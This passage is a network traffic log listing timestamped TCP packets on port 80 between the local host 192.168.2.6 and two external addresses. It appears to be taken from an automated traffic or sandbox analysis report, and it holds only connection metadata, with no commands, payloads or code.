Nov 23, 2024 13:28:40.147161961 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.147869110 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.147929907 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.148000956 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.148056030 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.148758888 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.148818016 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.148888111 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.149072886 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.149681091 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.149837017 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.149898052 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.150660992 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.150728941 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.150753975 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.150813103 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.151572943 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.151629925 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.151679993 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.151737928 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.152568102 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.152617931 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.152652979 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.152721882 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.153439999 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.153497934 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.153562069 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.153708935 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.154314041 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.154382944 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.154454947 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.154510021 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.155236006 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.155391932 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.155395031 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.155467033 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.156193018 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.156296015 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.156363010 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.157129049 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.157177925 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.157248974 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.157299042 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.158094883 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.158176899 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.158229113 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.158287048 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.158998966 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.159054995 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.159138918 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.159189939 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.159893036 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.159960032 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.160029888 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.160159111 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.160790920 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.160855055 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.160927057 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.161091089 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.161644936 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.161830902 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.172657013 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.172688961 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.172765017 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.173403025 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.173594952 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.173648119 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.175965071 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.176022053 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.176192045 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.178239107 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.198385000 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.198420048 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.198442936 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.214485884 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.214517117 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.214551926 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.214922905 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.214984894 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.215080976 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.217479944 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.217551947 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.217571974 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.256969929 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.257035971 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.257091999 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.258151054 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.258233070 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.258291006 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.260695934 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.260749102 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.299374104 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.299411058 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.299463987 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.300458908 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.300558090 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.300610065 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.303406000 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.304518938 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.304742098 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.304797888 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.308398962 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.312333107 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.323856115 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.324023008 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.324054956 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.324095964 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.324306965 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.324366093 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.324434996 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.324490070 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.325212955 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.325268984 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.325305939 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.325366020 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.326148033 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.326204062 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.326242924 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.326297045 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.327055931 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.327114105 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.327172995 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.327219963 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.327981949 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.328037977 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.328110933 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.328162909 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.328896999 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.329021931 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.329092979 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.329819918 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.329879045 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.329987049 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.330046892 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.330739021 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.330806017 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.330842972 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.330894947 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.331680059 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.331738949 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.331790924 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.331841946 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.332623005 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.332755089 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.332808971 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.333533049 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.333586931 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.333657980 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.333710909 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.334476948 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.334523916 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.334554911 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.334602118 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.335378885 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.335429907 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.335483074 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.335534096 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.336311102 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.336411953 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.336464882 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.337234974 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.337289095 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.337323904 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.337369919 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.338166952 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.338217020 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.338278055 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.338329077 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.339103937 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.339174986 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.339219093 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.339272976 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.340029001 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.340085030 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.340146065 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.340195894 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.340938091 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.340997934 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.341037035 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.341093063 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.341517925 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.341626883 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.341841936 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.341895103 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.341944933 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.341983080 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.342015028 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.342760086 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.342794895 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.342986107 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.343039989 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.343763113 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.343831062 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.343847036 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.343899012 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.344635963 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.344711065 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.344773054 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.345565081 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.345602989 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.345613956 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.345674038 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.346489906 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.346653938 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.346709013 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.347528934 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.347580910 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.347693920 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.347745895 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.348339081 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.348439932 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.348491907 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.349551916 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.349617958 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.349670887 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.349724054 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.350506067 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.350559950 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.350615025 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.350671053 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.351212025 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.351280928 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.351299047 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.351345062 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.352051020 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.352118969 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.352173090 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.352998972 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.353059053 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.353123903 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.353178024 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.354016066 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.354052067 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.354072094 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.354099989 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.354850054 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.354891062 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.354904890 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.354939938 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.355719090 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.355775118 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.355824947 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.355894089 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.356656075 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.356764078 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.356822014 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.357563972 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.357619047 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.357670069 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.357719898 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.358509064 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.358566999 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.358618021 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.358670950 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.359493017 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.359551907 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.359605074 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.359656096 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.360361099 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.360472918 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.360527039 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.361377954 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.361444950 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.361510992 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.361563921 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.362448931 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.362502098 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.362549067 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.362612963 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.363298893 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.363346100 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.363389015 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.363441944 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.364068031 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.364200115 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.364254951 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.364975929 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.365030050 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.365078926 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.365129948 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.365895987 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.365947962 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.366000891 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.366051912 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.366853952 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.366905928 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.367023945 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.367074013 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.367775917 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.367825031 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.367880106 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.367930889 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.368679047 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.368793011 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.368845940 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.369610071 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.369672060 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.369710922 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.369756937 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.370532036 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.370589972 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.370642900 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.370696068 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.371475935 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.371530056 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.371589899 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.371645927 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.372324944 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.376281023 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.382703066 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.382740021 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.382806063 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.425004959 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.425107002 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.425268888 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.425709009 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.425843000 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.425903082 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.428246021 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.428354979 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.428415060 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.430686951 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.430809021 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.430860996 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.433109999 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.465290070 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.465320110 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.465399981 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.465917110 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.465986013 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.466034889 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.490650892 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.490792990 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.490870953 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.491817951 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.533188105 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.534492016 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.534579039 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.534630060 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.534688950 CET	49799	80	192.168.2.6	185.215.113.16
